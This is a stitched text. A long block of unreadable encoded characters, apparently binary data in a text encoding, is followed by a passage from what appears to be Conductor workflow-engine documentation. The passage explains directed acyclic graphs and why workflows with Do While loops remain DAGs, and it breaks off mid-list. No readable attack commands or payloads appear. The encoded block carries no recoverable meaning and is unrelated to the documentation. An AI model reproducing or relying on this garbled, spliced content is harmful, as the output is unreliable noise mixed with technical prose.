zoZvkXhBa9aLmzAKQ20a4WI&uJsfPUCEkvHjg<%jd>W}_PhbDB`i!aYVD}VIElaPO95a}eR8~qbMLPi8z`UJB@?=(|$(<_@(t8*_4j3h|g^w6s>CIoC zZM9NtHwgs}Lyje3Wp+gYknslM5^Ie@Uo-wGi4$j`RS_J;GqCnp097K0u+19UDh8D( zP}t&Hh?8}q07D@4oM;3{&MR7O+V3Yr>y%mOYQ1DBmHRP0)O zugI@iM%Q@krCi_r#R2h9D}XAm^Z3jK%0*CkM<%d6pPZb=qK6i5d8Qn~yX^w0o;9_- zJ?=T`I<$1?t5?XVcY%Q4)Np{L1Z2E+B5#RqOcZlicwggK))ppSNT)Sp*u}^0?OZ5` zIH*g0F|`ZaJoLJ%oiBh^9OuEB@bQhGB^C>6WYXsuxTP&?t;{<58S>CT1_P%U*$Uni zuQo4M0=^tor&-pc$_;JTPig?CG~OgfUp`P?w>XOanbvl166*XZ z&6qleYlPJu5?aNvLpT?D{0TdgIWxt_mIP~E4Q8mr+kit_i;ROPh-ql!C2bH>;)i`u zP;f}se07!HjS$r$E2yV&0H@Mduw7*%SJW5_ZYLc~IresJdDu6SY^{en>8KJwSgly) zATrPq^TF5%!RL6%2w-L8bxIRzaDMUDAZWt`(E%aw&ddJ+2ka_FI9s#m@jvwy$sWU3 z!Ct)i>yzElLy1az2~?94L9(Ftz?w(3N5?HtK4g@AQ(L5J?cc=AJJRD*X z7a+z$6og@CNjR^qOuQ9X%uX>f0ai5U2I7Hnh#_3Sg9_T0MHC!wLPpN^T*L%X)Ji<9 zbf4{(v@Qtn%#LTcbHX$IV4&8eGjo4~fn@gVLfw~o`2X7vUYJ!i19zKePUzOW{u44< zd34rg?!DFw-Mb32AqEHXVo=5CW&t_Kn}z-yNL>O#h(80X&I;H>#ZZX4Bgp+(d+__Z zwA+l%Wsv-EYCkk~^15ERc~LI)$!b_b8$U|MU4g@zxWx8bVP{3Zv~U6B3|Mb4~ zT}=X+7>5V7cdOQL^t*ZZu_k}4$Ku@aUpfm&f0LTpK{+dEVs&YAjK-BWTfFNy4;AK?^!Db*n9W7{DUJ9xZbpt%s0c6T|9eUCc zZIZlGz3=}Tr$_>BUt;LN9smu=-kFNG$;-&dNSpI5D*(i8 zO>R^*41ObpNa* zr#@->uv`2?fuw6iTt7BIy72x+%-NBnU^-p|@NmI`QZWR8pKbpIU}>lf&+w7=5x+;- z8AzJyXnvzySI;mk7%m{sp0Ig5 z#OD9m%)Vqw{E614ke$(#3RJ8LpX@}dZYcKeNJZ5@QwKg=h?a)}9@(49SVUPdz=H;T zTpoeCHrHiR{pv!@PYILzI=uT&AN?(&xj-V4G;U`Q_&YEeXU>Af!$wQPP3Hp$liBL| zbxU3~Gm*LSJxVmt5(jVr73+*zrNX4aKwx0c)b|vNMRy6iF3aRs5!OZvfA$0&*b_Bm zIqbwVbTgIeeI44ETBf4D<{JHuE1t7@J0Uq|puNrweq#)gwFC*01+!T09SRn}VA9}@dEu22rx(%Ay77PFeF4W0UfthVQ<15_} zNaX_ulE5|l-^rx8CydH*v5uf7lP^or^oe-;FM{d3+*tg3-l6cT!t{-M{&NTFyz%CWn$aUu7L_;^k}V+HbZykDS&1n{Y-T_Gm<>EJVuY4dGp z?=lo^uPhl#mCnZQ- zC`|TPG6E%E zZnT?d=c_+G%5kuQ7Pqyc{Z5~u-N-*{mq_ua$Cq-qK?~=1eCJM|)xfIib^j2h`_m&4 z#u>EubzArR>2ox&hB7nK?RidU24wvLEt*}@=ue;dp$lhKWxU1-&48?CFk1l=iu|X~ zdf+q?9r-3J;q-^U0(Zmb|9>LRkpG`d1m^gx%m*L-MQwT#BJihrUrRAx-qPmq=a21hjyd1=>AIimy6&4$1v&Ajs064mFfdOgB}9~9U|?;*#|aq`ydmD( z7=(dA9kUb`R*)1HCRK2>Gqbcdg@KU>jZZ{Uh@HpvKYlFW(t?4d&34Ph5|a7_o9m{C zB1xLvo%BrPU~nC^4B`26h9^xb2$ug! ze0$T^$?=HR?I@jF5C)qhK_Lm29wv&mA5-+oYhryJ%c7wV29ZDr!2srC5AG9uL&Hv( z==qD|voZ`J<$ar>LXF3VM?V}&boF6G7%7oA$>e6{WJ{61jO!HQ5MYWBEBDKXG36Za zz7LY+3I*jUr}1>z6}<6CnYgmd{Dy27!~xq8tI4292V;WOEjMIVK<3a7i>&?RjW_If zZsg`_4+iw_rO4VQW=xsuKc8{Fz558G(2qPB`-u7a!tONI^i;D%1%K?EgVCL&O(UsO z>%xzCyr zw2?0;$)*mTCgW*e>W7(PMEdu3Q14o|&u#`h$FLvs^aYgbxIW|IknX2*s0*rhBz>lh zjGgXXySW;@78$zxsHs<_^F5p;S&*ws-we-OeDKojRicxvUD5&Cq(*>YHQLtzq6&n7 z4%j#Fo55xdPF49SCwfdelr;nR1)??NI_ud1#7hYO4Fo-qz#c6PhH;hs4F*%- z{wmckgg_xwu?{B|#FYRPslZaeAE-pG{BY#jyGhSL)L?tG(>y}5$}{KvulIKpDbHNv57_+n`kQnRg^MINr7yNM+LSBq8j>M zs5YBNv0hPW>dBNiJFcwg=)Wj6~h#kM3&a1=fk`VxW!={y*!5S6{mCT2k#F!4`8jy>xdQu ziFzY9?BBSgagRR53o~A;vcGQdX~=1CYS3`P*E3E$}I4)$BWEo^tGWF)0gXBh! z_ttgU@A= zSoJ;k$7Uq$Oq^|st!Kx1KECy~LGNpNu4Y5@RNj=|BN$14Gz=Kh7$Lavxc3Pr(!r*6 zrmb61@kOc?(^SQ{#feYQa48t(YO|a=)vb{B(e}w_0y(8P12|Ky7p(ObQ|7B|hHQ@K z6c6qWW)^D~TC2F~cNR!$NbIwC7#!!;$Jb7JCI%EY=T_hBnXJZb*8D8YER(^=vCGkS z=zZhGUG64ucsJ2AK{>P)G(=LCP_|pmY5^=H#v%|pO2iS5S=aeU_1l2#EtS-s;{-IiI;`r9n;J0DcJ8zpmDa zo_y^PZN^*1U`2Z#R1@?;!R*)3IFeznA^mq>^uFMbkBK3IkrkmDSQGe?5jwbD{}zVsMFtbVVSD;r8IcB)F^c{0vmkx2yg>)1ckUn*PYz2?Wb zGt!JkX=Wp|yM1ET6O`i4*ryp?-1cb30@c5Jb^h5-Jk`%b$R(2U$|O$FOBYCfo;r~f zIwmv7N2!3B`-F*URxhKvMcjgE7*9&Qp=7SwNCumt2vc~Sa(#xu)I?}6CP|_#8qKuX zJki`w1HbyrB+@97w7@EUzNoY~WAkR~p@N__rM1a8;wUA;DtLx%My(`phO&HLqr6?f z?!F)K@hJykDB&d6L)Cz%@*)S%-K-<8so&qx!|g?($T@43bLL~5URWG$x#rwV%!CoVBkA7x+WebTw{&(JI^BI;dg zLSME!OFyjI!YusvdeeL}->stSdh0LKQ2C}Owijm3tEb1N3tZ$AGZne3HyBQ>SLO$t z8h3gZKOQoV7G#hdY0R*?zdHJ!{&@|rnHfR1$#MSp?4z96P9wdox}3gCqvsyMz1EOR z-~Na$x~^>do4X%VhjYu`UAtoYvOB3Z{7<|_SI!z-9_q#phuo6f%KikOU!IHpd3sKL zDUI|7UjEo@$;XBHcBOkY_%`Vl0Rx*jj&I6agb*CJ6OzTe(HBVkJ7P;g7<6J;R8ycVKkSX1sJvkznW)5yat&JUdHlgU+9r-zEZe=8OnGcdr_zx3%f!m9M+=BCKd=4K*Y z?wl7)O?ztcP65RnW~kM1eAFt(3$3RQw6Cil^gZu(P)%^|Z0@n>QgJJkwTylNgsWz% zA!#Nn3quEfBg4RkSi(TSFIey)03R3__?TcAB=C(1J|bCg|CtJFn+5-0zn!2N-zp1B zN`h}?V@Fd{TPF)UXM>m#@C-X+siNVmAuGdUY-ht{Xkuq%%H(ci4=n=2=gtFu+L$^U zlDgYi+dA>M^OOC}!2^CnUo(@D{>|cS#ZRUot3WDj=V(gG$;86MLMDJpN=nM-Xkx~r zBqH{&;^2v&%);5(o`;#)&CQL;?KP8~qd7AxH#avk3mY>V8zacU=;UGRZ0OEt>qPz^ zmHcNtBBoBpj+XY$mUgzJ(0UDx>|C7r$;hA${nx+$=%=Z><$t$i>-4W-fdMi@QYA8(Tx~VIw&xGNq zH>u>rd8yG zCYC)3gh=>9BsyNeX@)CGWm5>jf&XDJ5ve2)Oj1}(mT;Je#fl(BCX^@`l<|gZeDIDG zwhMW@;i>eCtr!^aIwCa_`tJW`{pSn>VZow6VuZd&x`%$&W<V`Y!sF z!p|hvWGq8hQd&wXX3~7L|I|3taqpaVwvs`qN(H}Aw>ev-=p~WFwRI{4?j7lY#d_X8 ztYvaUFhc-VXrJlB*yPrDHoQ`!5~byMRz@6??gBaS?VsaB4y&1g$RG%<;@7wun^{Rz zQJl+f=(tp{%3$eaN74eCz7TUWC{slwl&l&4I6Z34)oFCp+wIBV_cG}n)^y~!ZgM`J zP!GeUKZ^I%L_zr_<=VBPfhDLf?+wm^5J^V182KHfchCDCeGJLPBvt=^sfVx9g(6H!t_5b-3EF$3>!B(JX@0EX<<( z3&C9Eo5_(cTg{e4H6QI|MU(we%ECzjwbFrF3zH{B{w#3|O3KJQk)3*z2s<)9N(zew zUDx3hv6Oo26;fFOt{)Q7uW8584$&}KqQSZCF0uUTQ9X23q*_`ON-$rP7qf-;20X=deD8QT~!(TvVpgp z=qz$+jFrZb&Og3|qk5j@kQ&DrQ3Lj$nB&gqA&2N|v*9Sk9I=6TdUZC{od9?w6@IJP zG8Yw$8~--YKMK&l*s8qf8Sv6m^=Y`*W`DHf_1Tup^pg!Seyf=h2c0kVx9bgtxD)|s zn8;(R9(;`5C_$1*;t(d?CJKGO``Qw%TB*@YLFTQY#6;>0_jh!vMHI{}Cm#-ew(C#- znNpUQthZgx1@%|?+`77qmgzQA08^<{Z>x*XV&Lz|Z#MiQSy|E?WkVvrWYvcB>hg!30KnNl8gI_Y(td=U-9hN6Xq@ zb8<|NmKxu)M|>!d&s1~qzMMCIFKHA(z>#Y)@l~nyCKCgRNwX?+np{rjW4g<2~% z&vT1`1jf|Wi?yy0)7>9=m?R{A!p(nHyvolHZ)b^DZ5C>xDWww{)LK+xLx??p1y|Mi zxzFJ(dR`%-T!n%iD4!Kria%zp9oKlYSTEo9_~3Pcg@Z%6-0bGYk5v`Im@*JcU95OH zkt41=*wL*l9#5yL^q8DIn{i1g9C1Q{c|ry&7w`Vuj7Bw{a=7{ndOlMy21!{y58_jT zTm_%&t;DiCcQ3mRGyKCl&ZKUVA^t!aY!}&OhGX zl|~*~N|TzGEfJT(T+g;YP_}wr#56R#q1A1w5fKxUN?_1bB5qUoDuObtuG6tpX)G?a zoFp*c=v2VwL(LL~$6OXxs!{naUoJi6h*qQL!$0;Uo9W;X*vT*H_h!p8v1ye=f}avn zjq&{sPvi4Y((}1cHC_D%QKm||?Uj07f@nEck{X%)Y3p!5DhPY!3L*5-Q8=NLi12llZp zY$UODH3NJ@clU;y%1G{eA17VQbS{@Yd8NGfM1>l(Jf-y>;gA}Nli5e%nmBRACQSbc z$^(fL4ZX{Qc^g^6_&iRVyL58#NVH^EEtj>qk?5!>p~*IU)W?|&m|J^ms~PL} zM0IVb%k*6Yj^_by;qsw}IDs|doYQ(r2A5ImYc$zd?*C+HjxDBiX5K6fOOnsiDrFJ* z7)1G7Ld~72%1c-70=;@6Q%_i8 zv}X0TMed#$?KtAUr<*PCx*X9q|2c@ACg$TD*4Oo?vIrCd&B}phJrOx3ALp>(O?P8( z%0{x+YZMU~$00Vr5Fx@Xnb3i&#gIhc{z`Wi-R~k-b21-Rwch#~b=Ee}YHQbAALSc5 zrySf0h0w+&mF$cQe1PIlzgHf=w`07#5Vwt1gF<6Bml~g(bp*;UWqtOG^52Edpt*w6 z{b#(9_=bz(t+f!6xOX2>uSE|-v8XqjkJ}O#TnMFPhAw?AV-_ID5SbTMRp9Vw&6Qpq~-quaDEJqr2F;)xn&*7XcZk}7}}0?0@{9F}R{7Bf7U zW~h`BFcR^u8=Tj_q-tV%F&v63%7uoX-QdZiZ?KhZWt${_K!~`D~dk^-uz1BK?4Rp6HOPQh{6-+H_a!e_lPfBA$;|8)+qa zjVg84V8omBO26tBbuciQwmdma4KEm^`0fz{`V!N*ox~!Ec$sehkVIjX?WhKam^<<3 zRMlAt9&X1_%de1r{azL&bOQ#k``QRa@cA2`o4A)e4f>c^Uj`bh%}q9XYm2tDYWJj9 zyrVI3R7IrX7!EzpHDLv5jb2k^Q3u%bn<}c(VEVr*;M{WB8Kp%_Z#uEf zOtomjpt%mfnjFrb5JBPdcnmmWLp2K6&|Gs^Sq_WUYrIf6o<#|^e1c^*4K!B;wa`YL zd6yd$vkOUs1{o*cDME7@$b%g?7JLi}NBJi}8hEpyMV@tVmZM>k255tZ>`cFtr#zEr z?J1^;p$UZ4kaiSeGX4;H4lTW!28=Z~eF6n^9E<=U)JnjM{;kRhw6Rm75%YIYq+n2F zPqE)Z2Q><+Os_VQ{M+{rpzojA6(G>QzoG7MSsK->%*{kb^VyLdNTyGuu>MIkt80_- zCYc6$sr|}(<*U?TCLv@8DsTOb6|=`_tHVt1r^~dqwic6?#!zi07b_N#8btBLH3jm6 ztfMfd=G%#e5K4{Z;#)E@vdx3}YR9$j2p3JN`{=OK-Mx}R)S#yHs<(_`Le{sDKTaas z#pc|XOEl4TL5J@AK%y^p4Y@**3Vx{Nyciidd7eS%2TZI~uL)vH+pyt1sQM z`mN@ULc2E{uLn&T}PRzSc|?E()QO2z>ik_R0FW5=~JBt`-fMGfEJVY)jCS zKjF`)P9~=us@%rpXuz z4RfaoeVW-Vf6PG|7c6xu*VX5r)r)#AEz0xSU}G;q+#T2&e(%@0gOST<8`KFE5n z1-uG`+{ya)9@?#^)YRJ@+lEF)&WJ=bvUNOTz^7Q12UFwsW9D0FZmx6;uNzYYb}}sj zT4&5#xCf{uqPD5~yMy(>%3s2XsQq2}{{tx<%do95(W>s5FvMB*H|LhLdMyn)&91VX zwoBjYJVs(DKW{qn&y?63{yZG7_r3SjY_R`(TOKuRpdY(Ma>NKxq1bn)OZxLI;|HYk zx(%9V`fQg}6i8oswrE!yg5xDur_i(krX1^-bxRc?PYup!EW!Qz-cfrl* zzBfe+MRd@MS}Kla?VLS<9JU=C=UW`NU!1N7bF7*b25<9WWYT$5PhR^yc<;_v7x4XA za&o+`a{Ghvv(>AfU_|hw1O9#Lq72IR0L3afm`aj>r@ikD+n|85=KZu3vG0}P_4Q8X zRwojP%GcBcws88oXXw$j2|`ZM^O z&yVhR^yb>{FH;xkg3<8FK;Kn8z0QAS4=(Hmt*Gn!s74a=7delna*f$6d&ffHME#wB zxwg}2o-Nl`pTw@UnpMkL+35Q+q;1!lx1C*D)^avTuaqx?pZvz*>j8jcvM$(+S}Iy~ z*0hF(hG(aJBts1j8&h3=rA}-&g!*JjNb+`Ngvun~a=?7y4p6qLlPk|+trax@snLdA z!2?OG#uVCh*7)&#za=^ffQ=LAA>@lEd1Eh>eELl>hXSBVfJ}Tner1Pjf>D<5Z3476 zo%UOt#3y&9Trnru`DjVg_j(I2V1A?UkmdL#x1-4mRIxo4HH%~cpQaj%iFdj!GUeZG zmz!vx((GWQ@9wVMQbcLOu^$a%qDB8^{oZ<5w-`sOt=ns{5T@JgT6nz;V7^8OWXE8k zTRR}y8-Q|3fZjj2mK1(D-|G_&DLo01D`tG4g4G8n@HWgkYFfKciIU^bXIe}vPow1~ z7uweD-*lBScD>>F?@iLrg7Ngd&jzU9cc&-Q-DkgkedErA^5#{?=U6$K%J39|PPUeU zOkXYEt2Ly6(Dko5I2v{l&#(HU$)}sFN-o`xTmP6W)L0ftsHnuT`Id~Jo8%U}j#`-G zM0rCgwBafhwq-J&_4cfv{0mrcFNm0RX?5MWfv?x;de4tK8|@4D*t&cvV1Y_(EjqEq z%@Pr`4o%PNdDHPrV|Sv#g??h#`H)+xsLfmVNEO<5DfQ=Q`DJkmi{S_M_fry5iA<%V z*O!ZS2yXZ*-o{VWyn;eP3K~5(_ojn&gU>_`0cd(>4c)3Lnw z7&_*0*^{U=>apdvC9*G=q>EiSrd7_DQi-loYLu!y4?FY0JRyJ`b?|y>dZK>bN8%^( z_;8;GcEpE9+wc}vB1b2KvPGr}GK5O!U8QC+$E`se@!p8%t<9cN@pM}=4a>VVIDK3a zLhx`e9ju~)ge3a=KN0d6&Mem3B?8h(>m=K1ME>j^**W#40}>B>_PoGOgYfHP{3Dk} z$E_)gX0wr$_mkAcWZ^NaHdXJZ>A1ZvOI+rt+Z~Xo^0}W~MNBgSuBj@>Ro`kllpyo7 za5q-2LJ6}U0@y#*>c{oMxjPiIPlSdgFZexcYAh$k1g=)$uTQ!#5Zp+OTu_ecoG}|T zxSh6Ts6|!rt=VhMMhGqlJWECjGW;Gqra5i<1Rd6cJlg@(+KU`XeY)&m%pd_r00ja` z*y)r$_ZPE2z}dqNZRmev)Qx<7)O^W)Ie5Q4It#756dsWv4O6H|m+ z8qxPK9BYA#jW2>l_lgyxFY6n~?W@u2%z8em{+DL)1LMBqaQ*c3RH@zfK5nL>07~?3H18i(%KJ%G-&Gms^SYYLj?# z>JUQtS1j-P5EXaEG82~?o#ga6$VJ;sjLpEi7^7wc6ezA)NA4rVCSiQ)kk{S&l4YZeUAj z7S<7mTBqHkWv|~2X!mp?nk|7*ln~3a)lWd3`c)t>Rir9?B7(p4-Znyy^?UD+=K7z$ z+Oi=AQV^$UsFpBQs;y4jm9LzH+u8CuoM;l)9rdZ$0dmV1RcatRs7c?Ha9dvF<2?jU z_yr<9^{!hk!K0``#XR{0W9RV)S^Wfi^cUl?I~94tY@V;d2hlBH&i3*Ntq+14k89xM zt?Qd*iSxhUyh1@iu}m+D?A&DRs%LbbB-AMVpeUH(wtKkBc)UV2c#{S?yof@XAo=QK zGgf{u)vm2jW?akGymi->TA(;Q-Eza{fTqFk(YKyZyr;X{-DD|=s&g+9@Rr4xj-M0; zd;s;H(w^HPRpilMuJsN+*FPu=nIG9(J}SRI%Wldu&gOLjV2klQ%W~L{Lg-?D zGf%Ib$P`bb_zsVD>MfieIoRBK!UJJ{C2m1*MLnzytNnej0uTSY6iYQx!?Jtc5*zsu zrLsgV7Kk*EG-6={9sXL}p0M~RBHjZ#=Lw0T8KwUTO7VG|N&VQO=dvcqi{>NGHRxje z&(aZ#nKc|%#a>?o&PJP$E%OIoavLB8qhX$K!5*ou1B6yv?{>^|ZMpZR@Nhw>$gt~% z>!7|gS%q=aK>m2TcvfnuHv)h62Y*9wa)+b+PJw4)*;Yu>+3iO*X&tQRO_ysy^$0BI2hu#hOSqz4Jo8%dn~ zzP0_BT;N-}YK(s)@Jfn!#1*{4bU_Tlk<>Ax=zud|HGjxN%8IoJzG?5ehw>zOfyQU^RW7U{<43Q0qr`19o%I z!?b}QKlLwq!=qAQ3(xI+WpLs=Ivrb4!4euqcaYLIhO2UKWPT_7*ZZ(~@RbYf-^(gYtvie9@N@#&TGj^nI*x&CbP!AzjkX>x6s2dWv4 zg{1XQQgGW7#xY3mU0#*4xs84~8ypIxuv=-FF?`^R>VQJyz!l{TOzZ50$`F>xu29; z-u|Ol!Ye2bjsT0#A%&Rtmj`13bWa_p5e((Q?0}NZ(BQ|tgYsZGkSkrm2>&k+{sh(| z$3y}3FAx6PPN*r=+z3I*K}5`3+KlH{_kVtFP09;i98d@*^lr>N{Aqt2@H%eY=~J6m zp#g?03&aB_naIU5}UPbD0eIf(QY- zMOG^N9xIf=pFnQ39)KXYwfdI-^7~4YOL2Ek&vny~Ua_EnfS%|1uUDm7wP#xCC7&SB zQvsJ5I9;qh^z-48Yc|%zXfs}2FPhc3x8LvKcV=A1SSpwN&BZ?T;X-Zfte%%_#Wc-V zzsHA|s3=kr?~?#1v7+6Y^gIQ?Wkq2Jz(9saFc#%7--~H=sB(Pq=kjoIE7?3F8ep9v ze^_`3qInO{MB@^GOxW-9XBjF4Dckv+Pl&U5oS7u^x|KQaO-ZuI8ugTDR_6lQ#c?Oy z4fWxp0Rk}-tM`@t?m}&`^X?B(Ah`dILy{BfBLBiimLnDs1Nc-jzgL}$R!TdyTpG=B z`(scm_as2)5AL(c^QI%#E@hO+p4%kA~;siE%zRChX zPh;rSnK(SfG-U!z24X}F+*zDjLTC|RFzkVKPTgnKUyI?eQX7aS5BXub+u2T4QSJg3 zPeqU=MQk{URXF0{GY&l!n8f%#VlNrrhimhFcGa<1d4a+jp81AiKmzwZV~lkMskvR` z2*d^0Qo9sU$#ES3CTm*0dZ^JRg4Xp+q1@?PqBxHoIL zZr)(#n751vc{(18T=**M^p9LgtP9c8{qpvrc0*4Vz3@m@)L;i~*oY)gp>RSjIhI4m z?O}Y=m87Ezu|u`%sdmG477u#c=0ncT_vq&+!CwkrSULNycZbFmV#bZdQh#An-(NcS z-S|9$N`0YidYuYsfeJ4+UsI;l0n3DH7*Ib?gxV{N-~C{@)TLOPM3dWmZq2l~^Pd|G zvPj638w5S>6_?YI_jrB6q?G!`y$)#A@{g76kyHd_f~3)oZ!d!*Jg&nbZ4@U6A3ZE( zCfs?wb=&JNs@hheGTG|j4r8n3LQP=`W(VI{9IZ0s_iSirDD9Sg_EV?c7Z+rlHVe7i zv8AoqIbXkar+7+m4{Y}kxh=hFc;*Q-2wMHN7J^-4bb{Z@2@XI;(65CJ6oPwqPG!HaT!2;iOK#n%>>fQf-dxxuR@UupskDs})J z0{M=Uq&hx|zIdZ%XRy@|&Q|&lE1iS=nbK6PYyWAS7q0+oRMoQIq*&*BJmYVoMGxI1{<9@cMx8gOcS#`ynyYqT4V-r$p|G;l$Fp!BCr z?CO~F^nV*&eU5SLcQ-p&`b;b{26$8q>kD9j&GZM``&4=Y$8LIJ7@k)PaFG? z_LmRYXdWA?ef%AJ&virsVY|AYX=DdPGbeQAp%2p+a1Kr#8_MDRUe_SDz+;&?XEMqc zz@z8+kz(FULx^{Iz_j=FiP*Lr{1$79xVCEm4wq|yW$NDaVP?lsu5WXbGRb4#;&K0m zd|TAbGyPbh6iAxi%_Ltsk_$BqdG9#_)73KY!&TWVa+-!|m^wPmC36mT(l}IN4BZ^S z{hr8p;kNhLr*MB5*or+tJCDOq%MFt_H}eIWjWYeD6bJJqxjk`003dMzTCSIPuZ5BD zdu=c+4)Z|M^p)>*efX<04cxF=ZQr=z^b5aar}0#ZtFv69MK@7Z>?IFLVOk}@LZ zuC?6wy2;#rN7n3i?Am<5B(K7HULfsE)(r~PFZkR~|SABvH(T-j%u}3#$R*jq$?fMqq-nXf zR@EFC?79%dtP0bYsbrHJJJ|#voC=Qh)SL;&hSlEylqo*@Mwlw1>1Jy*pbxg;bm^h% zVIh|8V`n19;Ch|UQk(6e)-T)F3`@TPr)PTG0fXDdOs#xL*q`9v$ z1dphl?_WY}otRaN;+n>-;y3Itk+A{3%<8|b)YVDq4i;B4Fhx;I>L^i0+HR{Ono%EBDB|@&+#JUheE$|AQ#y-&6f)3%5NG1ka^LKJjk~X zN|%uiIlI2UCpeh=uy}o1{`A266Eh~nRk9lo-*yn6-6CqiVrYR4m(Xx+o8+z-;KPsxR!f-LJ`ON$zi5d+r$3n+nL`YaG)ll`D!rSHkz_W%z&lUobNMLAujtKDix1m88aIH1)BOd`;thhXnz`Ctxp8|>GD zpTy2Fjx9`~I2x=sXg?3Q&oMl2D5PkWO_@SLe+X=*u6#t!e^;Ts3e_+ex1ht}#K4m8smr@oa7S zP$N7q_6qNtSoI@~U$8b?VbJSWWTLde*lY6>EBQy1uwf=Obw+-8v6iD-02@5Bts^&P z$c=e|0D%3~haxi&+%?>+oUv`nL#!I9b$Zn}LhH?axXoZ=2 z#?zTIb~1?uOaxx}q`+I2?+Vvl`X|Ao$qIwqmchKc21#sZ?t#O_y$T=qCXyM&8^vIh zFvpH>9Ix1934y8ND-lo}Qoz|9$3GFieM-nF<3Sfb{gRk5xFcV=!9K(iZWzay!uBIr zXO<7WVVKr0;%`_jW*WI3d-*tR&jJF-vrv>-XYM#78?7*kH7e>+w(D3)e17Y#WmpG) ztYbO+KpFH6L-1-{ieL2u8y8Z(M+H1tAOudw(KY_PNN2b~oj zQ_1cx0WH6X8Fwkd^8U%IQpaTOUfFy$Vdk1qmj@IKMy9vZ+ToFzzBiW1K;*pp`FQ{H zsZZC-dJYc9F2ceG|H^rr9}uiA3^jKRt7_%+B0Zy`UaSq**^K306}8liB+k*w+p4O) zYTrPj?I|DA1vTC~*?-}8)DLV)=m7yYboRnBEJ*or098L5);0NwM%KY?8yFLhU-*Ld zhdY~G)B)RQq`7A%0Nb}Rn&eQNe+7W#Vu8CRH}nB`H2(J~K3c}O7`79ah0oNET;PUF zXQL5qKC;_(DQUNuSYCAKcbO>L@<1x4nH+~mVX48Pm7}p#$ydz5WiwniiNID2<3c7a z=w}4%2T%px>|DjcfD+k4Z7FGbUlh`blR568=TJV(p_G{+3}*VhleHj^YqQ|4Ll)5seZju zBvH@rmy>=S<(jQnvk8^$v;z|p(=xF~LUu{mv|2iQGgh1K?bt~1RT7_|>_y_M?7{Zj zgrC6i=|kI>B$~_=$qsYCKo4Knlq5mflQ&d$AS^41|N9^Y9{&H7Lb}8?U8RQE&ldm! z*i73nXMlnLVhV_YB%dZQZH?)ZYBYWKjq+DVu`lW_exr&1cL#v*h{ZqQ^KgH6KsHO-CFSH2G+!4;=Jd*jA7ScfLYBSciGt#ah5H=9sknZ5hHz^JQ$|*T3mYziGDmDA*Kv!ks5~OI=Gn`kn2#IbS@HtBzdi}gO>|2)*pHD0 z_&=X}QLk2K8yagYj?t_Zt&@0Ac5M@07hA3u&5~FIc;Em)J`}rWrn5f{m2xc{3Vpq7 z3RRnZJJ_oYF_9_26-&AsV!zmKvrN$r{v1WUOeX=DPl@z}+FXffvdB*_d0k~VyKUlR zQ#qyUte^iVx=2?l^^_Igsd@&LXbId{OeV4fN}vG_dhGIaaUjTfWnK^H=CQOFes`xK z!x{YQu7@j!DR^I?F%ITM0vR%JRA8=Bqw+|{-8cJRC9@p)DP_Oo-d$-emiJ^g9sE*d zHA~!B|3_GZPy1 zwBJ_I&d9>Sk^{Z`#m%_IRWWn0WbzNnT;+mD-@}vh-Pa~RAB4|9gvtE^6CpXQALzzy zpyQ{y(}@Z{$^99|JiTQe*jE*{_lSUNMDuZ-)cV(qiAi>-12fV_M!0_Q@Tbd9YDdmZ z+W9=wsuKPqxqxr8Osar#hTqzSkfcE~#i|QjOHSv$gyvcSNjp6ePdDOHO*D$PgU}Op zRtZuKAaw*%#-^Mb?`^Uw4b?I=n?)>gC{jp0VSoFN0Lpd0MTP=j`8ZA+Ez7UJnDIdr z%%Tnfh~D7=m~R(Y!28kM;`)}fQxBTcDx?Uab@ z4ckA$CMCG)Ol;;V0>r}p1_}Lls3q32m+Ns{mFb|x*WO07e?$-cXfeBBvs{>JDOJhF z|M#e)-<|Ncxj=&;pmn4|NXbqIL5x6zN=@R3U=Il~zmRyELBwsh!iO*5-N2yVrV|qz zyEP$B5)T~F{W+cosK6<$EEfLa6&|x*4SkH`lJX%f^%(*R1ju;29Vje~*WuxHfZ5YR z6^s%PXeO7=v*qbLj|25^-96kM>%FZ6L3;RHwrS)W+us)H`!ywDkWXljVf~32WQiU4 zm+D1Ajfh>$0rxH96Pp7{ph|gPI6nE>+QTEwJKh_GsyGikb^Z^d-`|RNJU-f?@C0Qq zW>2ICn8|SH)>tW&sn}6rU@OC&@ zaq7NCVUUDNdA6z&N)^hY*!%Ix4yD`CQe+;Nihw6)q9_<_2f zoP{f*ofS3YdDnO%qc#=rQnq?RwX9%tB06rz%_t-iZ-x5@;N>)(E>hj|k$-?c`~?s8 z5_!k-dQ1FCiDNJdN-MP;JnG}-V*!`9(3Ab6+0D*$eP^t|CJh8n#=H$gL}4wCY>DfrEYiTncUyn1o7YVk&Tro%gkPczs;oJV2d@ciTr@Lflp zu7yqFYA}66Q7KkaUSH=Vm=*u$`SBLd*{*WlWsAV(j)nVYsPb>o?L=wG#OVk&f&oW* z1go}xoG=+DnIVnY-ERu6473?vbkFK+6AAgyZs~HTEZ(r>tb{66syWEv+WCfV4ZOv7J}A)hic2*{v`J4 zy*N)sNh!RMMz6U)oG^dn=}@OIpaDyr9XhG#8u^kt&&FDO_Q*%yf*K*>E4G8sSF zS$2_KHXPGC46NFJi}zzcGU)$m=JV-re7-hBB542AC>Fj9jUWplt zqSng}Wh_Bi%==HfKdtcMI1D3*7Nmk(B4SCZDm2trE7M>AqFQtx$v$&*bhNMHC+ZFF z>uIhs@#NYlFAZ45X%U&xEKYQy3fwbc%YWBdzN z4wjqM>p(a{vyQya7%uTzN|)`c3qp1jVwwXKls6#u$Q343)LY(Q>?plzk^@!H-k^Mc z;M9C`VY=9H`9e@6Y2Qz?$}Hadnk-MHuu5ryqlrnq?d!2 + + Imagine that each vertex in the graph above is a microservice. The lines represent a dependency relation between each microservice. However, this graph is not a directed graph, as there is no direction given to each dependency. + +- **Directed** + + A directed graph means that there is a direction to each connection. For example, this graph is directed: + + A directed graph. + + Each line has a direction. In the example above, Point N can proceed directly to B, but B cannot proceed directly to N. + +- **Acyclic** + + Acyclic means without circular or cyclic paths. The example shown above contains directed cyclic graphs, such as A -> B -> D -> A. In contrast, a directed acyclic graph can only begin at one point and end at a different point (A -> B -> D). + +## Workflows as DAGs + +Since a Conductor workflow is a series of tasks that can connect in only a specific direction and cannot loop, it is a directed acyclic graph: + +![A Conductor workflow.](dag_workflow2.png) + +The flow of tasks is specified in a `tasks` array in a JSON file called a workflow definition, which can also be written in code (Python, Java, JavaScript, C#, Go, Clojure). + + +### Can a workflow contain loops and still be a DAG? + +Yes. Take the following Conductor workflow, which contains Do While loops, for example: + +![A Conductor workflow with Do While loop.](dag_workflow.png) + +This workflow is still a DAG because the loop is just a simplified representation for running multiple instances of the same tasks repeatedly. For example, if the 2nd loop in the above workflow is run three times, the workflow path will be: + +1. zero_offset_fix_1 +2. 